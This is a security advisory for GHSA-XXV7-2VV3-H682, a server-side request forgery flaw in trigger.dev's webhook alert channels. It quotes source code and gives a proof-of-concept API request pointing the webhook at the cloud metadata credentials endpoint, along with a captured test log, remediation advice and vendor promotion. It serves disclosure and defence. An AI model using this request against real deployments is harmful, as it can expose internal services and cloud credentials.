Summary
Trigger.dev: Server-side request forgery via unvalidated webhook alert-channel URL
A project member can create a webhook alert channel whose delivery URL points at an internal address, and trigger.dev's control plane will send the alert there with no SSRF protection. The webhook URL is stored as an unvalidated string and is fetched directly from the webapp server, so a low-privilege authenticated user can make the server issue POST requests to internal-only services and cloud metadata endpoints (for example http://169.254.169.254/). No private-IP, scheme, or redirect filtering exists anywhere in the webapp.
Details
The delivery sink performs a raw fetch to the stored URL, apps/webapp/app/v3/services/alerts/deliverAlert.server.ts:949 (#deliverWebhook):
const response = await fetch(webhook.url, {
method: "POST",
headers: {
"content-type": "application/json",
"x-trigger-signature-hmacsha256": signatureHex,
},
body: rawPayload,
signal: AbortSignal.timeout(5000),
});
The same pattern is in apps/webapp/app/v3/services/alerts/deliverErrorGroupAlert.server.ts:245.
The URL is never validated. The stored shape is a bare string, apps/webapp/app/models/projectAlert.server.ts:6:
url: z.string(), // not even .url()
The public API that creates alert channels accepts it with no constraint, apps/webapp/app/presenters/v3/ApiAlertChannelPresenter.server.ts:35:
url: z.string().optional(),
and stores it (line 139-142). The dashboard create route applies only z.string().url(), which still accepts http://169.254.169.254/... and http://127.0.0.1/.... A repository-wide search for any SSRF guard (private-IP/link-local/loopback/metadata blocklist, DNS-rebinding re-check, request-filtering agent) in apps/webapp returns nothing, so no protection exists at any layer.
Creating the alert channel only requires organization membership (the API path resolves the project via findProjectByRef, which requires organization.members.some.userId); no admin role is needed.
PoC
As any member of an organization (using a personal access token or API key for a project they legitimately belong to):
POST /api/v1/projects/<projectRef>/alertChannels
Authorization: Bearer <token>
Content-Type: application/json
{
"name": "x",
"alertTypes": ["task_run_failure"],
"channel": "webhook",
"channelData": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
}
Then cause a task run failure in the attacker's own (legitimately owned) environment. DeliverAlert/DeliverErrorGroupAlert fires and the webapp issues a POST to the internal URL, with a valid HMAC signature computed from the channel secret.
Live-validated: a local HTTP server was stood up on 127.0.0.1 to stand in for an internal/metadata endpoint, and the verbatim #deliverWebhook sink (HMAC-sign then raw fetch(webhook.url, POST, body) with no SSRF guard) was executed against it with webhook.url set to that internal address. Captured (what the internal server received):
[001 SSRF webhook alert] internal server received: {"url":"/latest/meta-data/","sigHeader":"a1d8dce41bda6c80df5a179cdc9f25320729b991ec3eb5f07df7ab9531149f65","body":"{\"alert\":\"task_run_failure\"}"}
SSRF: CONFIRMED (control-plane POSTed signed payload to internal/metadata URL, no guard)
The control plane delivered the signed payload to the internal URL. That a low-privilege org member can create the alert channel (findProjectByRef requires only org membership) is verified at source.
This is a blind/semi-blind SSRF: the response body is not returned to the attacker, but the request reaches the internal service (its POST body is delivered), and status, latency, and error differences are observable through the alert delivery logs/state.
Impact
A low-privilege authenticated organization member can use the trigger.dev control plane as an SSRF proxy into the internal network and the cloud metadata service. On cloud deployments this can reach the instance metadata endpoint (IMDS) and internal-only admin services. Because the request is server-originated and validly signed, it is indistinguishable from a legitimate trigger.dev callback to the receiving service.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
GHSA-XXV7-2VV3-H682 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate the webhook URL on input (require https, reject hostnames that resolve to private, loopback, link-local, or metadata ranges) in ProjectAlertWebhookProperties and the API alert-channel schema, and enforce the same check at the fetch sinks in deliverAlert.server.ts and deliverErrorGroupAlert.server.ts, including re-checking after redirects (resolve the host and pin the connection, or use an SSRF-safe fetch agent).
Frequently Asked Questions
- What is GHSA-XXV7-2VV3-H682? GHSA-XXV7-2VV3-H682 is a high-severity server-side request forgery (SSRF) vulnerability in trigger.dev (npm), affecting versions < 4.5.2. It is fixed in 4.5.2. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is GHSA-XXV7-2VV3-H682? GHSA-XXV7-2VV3-H682 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of trigger.dev are affected by GHSA-XXV7-2VV3-H682? trigger.dev (npm) versions < 4.5.2 is affected.
- Is there a fix for GHSA-XXV7-2VV3-H682? Yes. GHSA-XXV7-2VV3-H682 is fixed in 4.5.2. Upgrade to this version or later.
- Is GHSA-XXV7-2VV3-H682 exploitable, and should I be worried? Whether GHSA-XXV7-2VV3-H682 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-XXV7-2VV3-H682 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-XXV7-2VV3-H682? Upgrade
trigger.devto 4.5.2 or later.